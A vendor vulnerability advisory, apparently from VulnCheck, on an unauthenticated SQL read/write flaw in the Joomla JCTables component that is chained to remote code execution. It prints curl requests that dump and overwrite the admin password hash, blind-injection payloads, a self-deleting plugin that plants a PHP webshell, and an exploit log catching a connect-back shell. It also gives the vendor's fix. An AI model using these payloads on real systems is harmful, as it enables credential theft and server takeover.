Today VulnCheck is disclosing CVE-2026-76570, an unauthenticated arbitrary SQL read and write in JCTables, the Joomla data-table component published by JoomCode, that chains to remote code execution as the web user. It is being disclosed in accordance with VulnCheck's coordinated vulnerability disclosure policy. It was confirmed on 1.10.31.2, the then-current Free edition, and the front-end controller had never carried a CSRF token or an access check, so every release up to that build is affected. JoomCode fixed it in 1.21.1, released on 2026-08-05.
Background
Joomla's third-party ecosystem has had a rough 2026. The project runs its own CNA, so the numbers are available from NVD: 52 extension CVEs in 2025, past 130 through July of 2026, three of them exploited in the wild and pulled into both VulnCheck KEV and the CISA KEV. Core is reasonably well audited. The extension directory is not: thousands of add-ons, wildly uneven code, and almost nobody reading any single one of them. So I read some.
JCTables stood out before I opened a single PHP file, purely on its job description. It is a component whose entire purpose is to render database tables in the front end, and to do that it ships a JSON CRUD API that reads and writes rows on demand from the browser. An API that reads and writes rows is only ever as safe as two questions it has to ask on every call: who is asking, and is the SQL it builds actually parameterized. JCTables answers the first with silence and the second with an escape helper that has an unusually generous definition of the word "escaped."
Put those two failures next to each other and the component's reason to exist, moving data in and out of tables, becomes an unauthenticated primitive for moving data in and out of any table on the install. Not the tables JCTables manages. Any table. Including the one with the admin's password hash in it.
The API That Forgot to Ask Who's Calling
The front-end controller lives in site/controller.php and extends JControllerLegacy. Every task it exposes is the same three lines with a different method name at the bottom: grab the model, attach a JSON view, call the method.
public function updatecell()
{
$this->addModelPath(JPATH_COMPONENT.'/models');
$jctables_model = $this->getModel('jctables');
$view = $this->getView('simple','json');
$view->setModel($jctables_model);
$view->updateCell();
}
updatecell, getrow, getdatarow, deleterow, bulkupdate, and a dozen more siblings, all reachable through the standard index.php?option=com_jctables&task=<name> entry point, all built on that exact skeleton. Read it again and notice what is not there. No Session::checkToken(). No access check. No $user->authorise(). Nothing asks whether the caller is logged in, let alone whether they are allowed to write to the table they just named in the query string.
That is CWE-862 on its own, before a single quote is out of place: the write endpoints of a data-table component answer to anyone with curl. The controller is a doorman who holds the door for whoever walks up and never once looks at a badge. The interesting part, the part that turns "missing authorization" into "shell," is what the model does with the request parameters once the doorman waves them through.
Two Primitives and a Lie
The read: getdatarow
getDataRow() in site/models/jctables.php does not even pretend to sanitize the table name. It concatenates it straight in:
$sql = "SELECT * FROM `{$db->SQLFix($table_name)}` WHERE `{$db->SQLFix($index_field)}` = {$db->quote($row_id, true)}";
$row = $db->QuerySingleRowArray($sql);
$table_name, $index_field and $row_id all come off the request. SQLFix() only tidies backticks, and here is the part that removes the last precondition: when the supplied JCTables table id does not resolve to a configured table, the component falls back to the Joomla database connection and runs the query there anyway. So you do not need to know anything about the site's JCTables configuration. You name a table, a column, and a value, and it hands you the row. Point it at the users table:
curl -s 'http://target/index.php?option=com_jctables&format=json&task=getdatarow&tn=joom_users&idx=id&rid=24'
{"data":{"id":"24","name":"Super User","username":"admin","email":"admin@target.tld","password":"$2y$10$5me7b.dNIkh1pVU2gXeJ2eE7Ff7.iuvDRjwCGBI9KW./Mj0TAMt7m","block":"0"}}
One unauthenticated GET, the Super Administrator's bcrypt hash. No injection, no blind extraction, no time-based anything: just politely asking a table-rendering component to render the one table it was never meant to touch. It reads #__session, #__user_keys, and every third-party table on the box the same way.
The write: updatecell
updateCell() builds an UPDATE from five request values, and at a glance it looks careful, because every single one is run through the escape helper:
$table_name = $this->ladb_escape($update_table, true);
$field = $this->ladb_escape($field, true);
$value = $this->ladb_escape($value);
$index_sql_field = $this->ladb_escape($index_field, true);
$row_id = $this->ladb_escape($row_id);
$query = "UPDATE {$table_name} SET {$field} = {$value} WHERE {$index_sql_field} = {$row_id}";
Everything is escaped, so everything is safe. Except the escaping is a lie, and the lie is written down as a comment. Here is the value branch of ladb_escape(), in admin/helpers/db_helper.php, the one $value and $row_id pass through:
if (substr($string, 0, 1) === "'" && substr($string, -1) === "'") // don't want to double quote (i.e. ''field'')
{
return $string; // it is already escaped
}
return $this->_db->quote($string);
If the value already starts and ends with a single quote, the helper decides it is "already escaped" and hands it straight back. The comment is not even wrong, exactly. The value is already wrapped in quotes. It is escaped in the same sense that a door is locked when you hand the attacker the key and ask them not to use it. Wrap your payload in quotes yourself and the helper politely steps aside. So the write primitive delivers whatever string you like as a literal value:
curl -s "http://target/index.php?option=com_jctables&format=json&task=updatecell&mid=4&tid=0&tbl=joom_users&fld=password&val='\$2y\$10\$KNOWNHASH...'&idx=id&rid=24"
{"data":{"status":"success"}}
That is a full arbitrary write: pick the table, the column, the row, the value. The only precondition is that the site has one configured JCTables table for the write path to borrow a database handle from, which, for a component whose entire job is displaying JCTables tables, is not much of an ask.
Affected versions: JCTables through 1.10.31.2 (Free edition). Fixed in: 1.21.1 (2026-08-05). Severity: Critical. Unauthenticated arbitrary SQL read and write (CWE-89) behind a missing authorization check (CWE-862), escalated to remote code execution (CWE-94).
Prying the Prefix Out, One Bit at a Time
There is exactly one thing standing between the read primitive and every core table: Joomla randomizes its table prefix at install, so you cannot hardcode joom_users, you have to learn it. And the same bug that reads tables also spells the prefix out for you, one character at a time, if you ask nicely and only in yes-or-no questions.
getRow() runs the request index through the value branch of ladb_escape() and drops the result into a WHERE:
$row_id = $this->ladb_escape($index);
// ...
$where = "{$index_field} = {$row_id}";
Set index to '' OR (<condition>) OR ''. It starts and ends with a quote, so the helper waves it through untouched, and now there is an attacker-controlled boolean sitting in the WHERE. JCTables does have a filter for this. It is validateSql(), and it is the reason this section is short:
// https://larrysteinle.com/2011/02/20/use-regular-expressions-to-detect-sql-code-injection/
$regExText = "/(;)|(\b(ALTER|CREATE|DELETE|DROP|TRUNCATE|EXEC(UTE){0,1}|INSERT( +INTO){0,1}|MERGE|UPDATE|UNION( +ALL){0,1})\b)/im";
The regex ships with its own citation, a link to a 2011 blog post, right there in the source. When your SQL-injection defense has a bibliography and still loses, the regex was never the problem. It blocks UNION and the write keywords. It does not block a correlated sub-SELECT, and it does not block OR. Which is everything a boolean-blind extraction needs.
The module walks the site's JCTables tables until one gives clean feedback (1=1 returns a row, 1=2 returns nothing), then blind-reads information_schema. The subquery is the shortest table name matching %users%, which is the Joomla users table, ORDER BY LENGTH so joom_action_logs_users and friends do not get picked ahead of the real one:
SELECT table_name FROM information_schema.tables
WHERE table_schema = database()
AND table_name LIKE 0x25757365727325 -- %users%
ORDER BY LENGTH(table_name) LIMIT 1
First it binary-searches the length, then each character by ASCII value:
idx = '' OR (LENGTH((<subquery>)) = 10) OR ''
idx = '' OR (ASCII(SUBSTRING((<subquery>),1,1)) > 106) OR ''
...
A [{...}] in data.data means the condition held; a [[]] means it did not. Roughly a dozen requests per character, and the users table name falls out. Strip the users suffix and you have the prefix. It is a hostage negotiation conducted entirely in questions the database can only answer yes or no to, and the database answers every one of them.
Borrowing the Admin
A reasonable person stops here. We have an unauthenticated read of every credential on the box and an unauthenticated write to every row. That is a critical advisory on its own. It is also not a shell, and if it does not end in uid=33(www-data), we are not done.
We are not going to crack the admin's bcrypt hash. We do not need to. We are going to overwrite it, walk in, and put it back, and return the account with the seat adjusted exactly the way we found it. The full sequence, every step just the two primitives we already have plus a stock Joomla login:
- Find the admin. Read
<prefix>user_usergroup_mapwheregroup_id = 8(Super Users) to get auser_id, then read that user's row for the username and current hash. - Borrow the account.
updatecellwrites a hash we generated ourselves onto that admin'spasswordcolumn. For the next few hundred milliseconds, the site's Super Administrator has a password we chose. - Log in. A normal
com_loginPOST toadministrator/index.phpwith the temporary password. The login POST is sent without following the 303 so the authenticated session cookie Joomla hands back on the redirect is captured instead of thrown away. - Install a plugin. Push a small
systemplugin throughcom_installer. Itspostflight()does everything and then erases itself (below). - Execute. Drive the dropped webshell as
www-data. - Restore.
updatecellwrites the original hash back. The password the admin actually knows still works. No reset email, no locked account, no anomaly in the credential store, nothing for the admin to notice.
The plugin is the one genuinely cute part, so it deserves its own look. Its whole life is a single method. It is born, it drops a shell into the web root, it deletes its own files off disk, it erases its own row from #__extensions, and only then does the install finish, all inside one request:
public function postflight($type, $parent) {
@file_put_contents(JPATH_ROOT . '/images/btcixlrwu.php',
'<?php if(isset($_GET["c"])){echo "MARK";system($_GET["c"]);echo "MARK";} ?>');
$dir = JPATH_ROOT . '/plugins/system/jctpwn';
foreach ((array) glob($dir . '/*') as $f) { @unlink($f); }
@rmdir($dir);
Factory::getContainer()->get('DatabaseDriver')
->setQuery("DELETE FROM #__extensions WHERE element='jctpwn' AND folder='system'")->execute();
}
Method acting. By the time Joomla renders the "installed successfully" page, there is no plugin on disk and no plugin in the database. There is a webshell in /images/ and nothing that points at how it got there.
VulnCheck's Initial Access Intelligence team turned the whole thing into a self-contained go-exploit module: fingerprint, recover the prefix through the blind boolean, read and borrow the admin, plant the self-deleting webshell, catch the shell, restore the hash.
chocapikk@pwntoaster:~/feed/cve-2026-76570$ ./build/cve-2026-76570_linux-amd64 -v -c -e -rhost 172.24.0.3 -rport 80 -c2 SimpleShellServer -lhost 172.24.0.1 -lport 4499
time=2026-07-28T12:08:11.153+02:00 level=STATUS msg="Starting listener on 172.24.0.1:4499"
time=2026-07-28T12:08:11.154+02:00 level=STATUS msg="Starting target" index=0 host=172.24.0.3 port=80 ssl=false "ssl auto"=false
time=2026-07-28T12:08:11.154+02:00 level=STATUS msg="Validating JoomCode JCTables target" host=172.24.0.3 port=80
time=2026-07-28T12:08:11.155+02:00 level=SUCCESS msg="Target verification succeeded!" host=172.24.0.3 port=80 verified=true
time=2026-07-28T12:08:11.155+02:00 level=STATUS msg="Running a version check on the remote target" host=172.24.0.3 port=80
time=2026-07-28T12:08:11.156+02:00 level=VERSION msg="The reported version is 1.10.31.2" host=172.24.0.3 port=80 version=1.10.31.2
time=2026-07-28T12:08:11.156+02:00 level=SUCCESS msg="The target appears to be a vulnerable version!" host=172.24.0.3 port=80 vulnerable=yes
time=2026-07-28T12:08:11.156+02:00 level=STATUS msg="Locating an injectable jctables table (getrow boolean blind)"
time=2026-07-28T12:08:14.170+02:00 level=STATUS msg="Injectable table: mid=4 tid=0"
time=2026-07-28T12:08:18.283+02:00 level=STATUS msg="Recovered the Joomla table prefix: joom_"
time=2026-07-28T12:08:18.331+02:00 level=SUCCESS msg="Unauthenticated read: admin \"admin\" (id=24) hash=$2y$10$5me7b.dNIkh1pVU2gXeJ2eE7Ff7.iuvDRjwCGBI9KW./Mj0TAMt7m"
time=2026-07-28T12:08:18.343+02:00 level=STATUS msg="Wrote a temporary admin password through updatecell"
time=2026-07-28T12:08:18.491+02:00 level=STATUS msg="Logged in to the back end as Super Administrator"
time=2026-07-28T12:08:18.578+02:00 level=STATUS msg="Planted the self-deleting webshell images/btcixlrwu.php"
time=2026-07-28T12:08:18.578+02:00 level=STATUS msg="Firing the connect-back payload through the webshell"
time=2026-07-28T12:08:18.582+02:00 level=SUCCESS msg="Caught new shell from 172.24.0.3:44616"
time=2026-07-28T12:08:18.582+02:00 level=STATUS msg="Active shell from 172.24.0.3:44616"
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
time=2026-07-28T12:08:19.627+02:00 level=STATUS msg="Restored the original admin password hash"
time=2026-07-28T12:08:19.627+02:00 level=SUCCESS msg="Exploit successfully completed" exploited=true
exit
time=2026-07-28T12:08:21.635+02:00 level=STATUS msg="C2 received shutdown, killing server and client sockets for shell server"
time=2026-07-28T12:08:21.635+02:00 level=STATUS msg="Connection closed for shell server: 172.24.0.3:44616"
time=2026-07-28T12:08:21.635+02:00 level=STATUS msg="C2 server exited"
Prefix to shell to cleanup in eight seconds, and the admin's password still works.
Full Chain
Unauthenticated attacker
|
| GET ...&task=getrow&idx='' OR (<subselect>) OR ''
| validateSql() lets the correlated sub-SELECT through
v
blind-read information_schema -> shortest %users% table -> table prefix
|
| GET ...&task=getdatarow&tn=<prefix>user_usergroup_map ... -> admin user_id
| GET ...&task=getdatarow&tn=<prefix>users ... -> admin hash
| GET ...&task=updatecell fld=password val='<known hash>' -> borrow account
v
POST /administrator com_login (temporary password, 303 cookie captured)
|
| POST com_installer install.install -> system plugin
| postflight(): drop webshell, unlink own files, DELETE own #__extensions row
v
GET /images/<random>.php?c=id -> uid=33(www-data)
|
| GET ...&task=updatecell fld=password val='<original hash>' -> restore
v
no rogue admin, no plugin on disk, no reset email, nothing to notice
Impact
JCTables exists to put database tables in front of visitors, so the sites that run it are, by construction, sites with data worth tabulating. The bug does not care what that data is. The read primitive returns any table on the install, and the Joomla users table (names, emails, bcrypt hashes, session tokens, reset tokens) is present on every one.
The floor is a single unauthenticated GET that returns the admin credential store. No login, no plugin, no shell, one request. The ceiling is code execution as the web user, which on shared hosting is every site that trusts the same account. And sitting between the two is the arbitrary write, which is its own distinct problem: an attacker who only wants persistence or fraud can flip a published flag, rewrite a price, or seed a stored payload without ever going near the RCE tail.
What it is not
This is not a race and not a memory corruption bug. It is deterministic and needs only HTTP reachability to the component. There is no auth step to defeat and no user interaction to wait for. The one honest caveat is on the RCE tail: dropping the plugin needs the back end reachable, which it is on a default install but may not be behind an IP allowlist. Take the plugin step away and you still have unauthenticated read and write of the entire database, which is not a downgrade anyone should feel relieved about.
Deployment exposure
JCTables ships a free edition and a paid one; this was confirmed against the free 1.10.31.2. Measuring internet-wide exposure here is difficult. Table display is opt-in: an administrator has to create a menu item that renders a table before anything com_jctables shows up on a public page. A default install therefore exposes no reliable front-end fingerprint, which means the homepage-indexing scanners under-report this one by construction. An empty Shodan or Censys result is therefore a statement about how the component is wired, not about how many installs are out there. That cuts the other way for defenders, too: you cannot scan your own perimeter for it from the outside, you have to check whether the component is installed.
Timeline
| Date | Event |
|---|---|
| 2026-07-28 | Vulnerability discovered during a Joomla extension audit |
| 2026-07-28 | Unauthenticated SQL read/write and the full RCE chain reproduced end to end in a lab |
| 2026-07-28 | Reported through the VulnCheck CNA for CVE assignment and vendor coordination |
| 2026-08-05 | JoomCode released JCTables 1.21.1 with the fix |
| 2026-09-30 | Public disclosure |
Fix
JCTables 1.21.1, released 2026-08-05, closes both failures, and both fixes were required because either one alone leaves a working attack.
The write endpoints now require a token. Every front-end data-changing task (updatecell, deleterow, bulkupdate, insertRecord, updateRecord, saveForm) now begins with a token check and bails on failure, so an anonymous caller can no longer reach the model:
if (!Session::checkToken('request')) {
echo new JResponseJson(null, "Invalid security token.", true);
return;
}
The escape helper no longer trusts its input. The value branch of ladb_escape() used to return any quote-wrapped string verbatim; it now always calls $this->_db->quote($string), and the identifier branch strips stray quotes/backticks before quoteName() instead of treating them as a signal that the value was "already escaped." With the value always quoted, the '' OR (...) OR '' trick has nowhere to land and validateSql() stops being the last line of defense, which is a place a regex from a 2011 blog post should never have been standing.
The read path no longer takes the table name from the request. getDataRow() now requires a plugin_id and builds its query from the tableName and indexField stored in the component's own plugin configuration, ignoring the request's tn/idx, so the primitive can only read the table an administrator configured, not an arbitrary one on the install. Binding the request values instead of concatenating them would have been the stronger shape, but pinning the table to server-side config removes the arbitrary-read primitive all the same.
Takeaways
The whole chain rests on one word in one comment: // it is already escaped. A helper that returns its input untouched the moment it happens to be wrapped in quotes is not an escaper, it is a bypass wearing an escaper's name badge, and the UPDATE builder around it reads as safe precisely because every value flows through it. Escaping by string inspection loses to an attacker who controls the string every single time. Only bound parameters actually separate code from data, and everything short of that is theater.
The second lesson is the one the missing token teaches, and it gets less attention than it should because blocklist SQL filters are more fun to talk about. The reason a single URL is enough here is not the injectable escape; it is that nothing on the path ever asks who is calling. Authorization is not a SQL problem, and you cannot regex your way to it. Operators running JCTables should treat every front-end write task as an unauthenticated database primitive, and every read task as a full-database read, until a fixed release ships.
Further reading: For another VulnCheck Initial Access Intelligence deep-dive, read Virtualizor: The Login Parameter That Skips the Login.
About VulnCheck
VulnCheck empowers organizations to transcend the challenges of vulnerability prioritization. Our suite of solutions provides product managers, PSIRT teams, and threat hunters with the tools required for accelerated, high-precision operations and infinite efficiency.
Recognizing the industry-wide necessity for superior data velocity and accuracy, we deliver high-fidelity insights to the market. We remain committed to surfacing critical intelligence on vulnerability exploitation and emerging trends, leveraging our unique dataset to support the practitioner community.
To deepen your understanding of these threats, VulnCheck Exploit & Vulnerability Intelligence provides comprehensive coverage of global threat actors. Register for a demo to explore our intelligence today.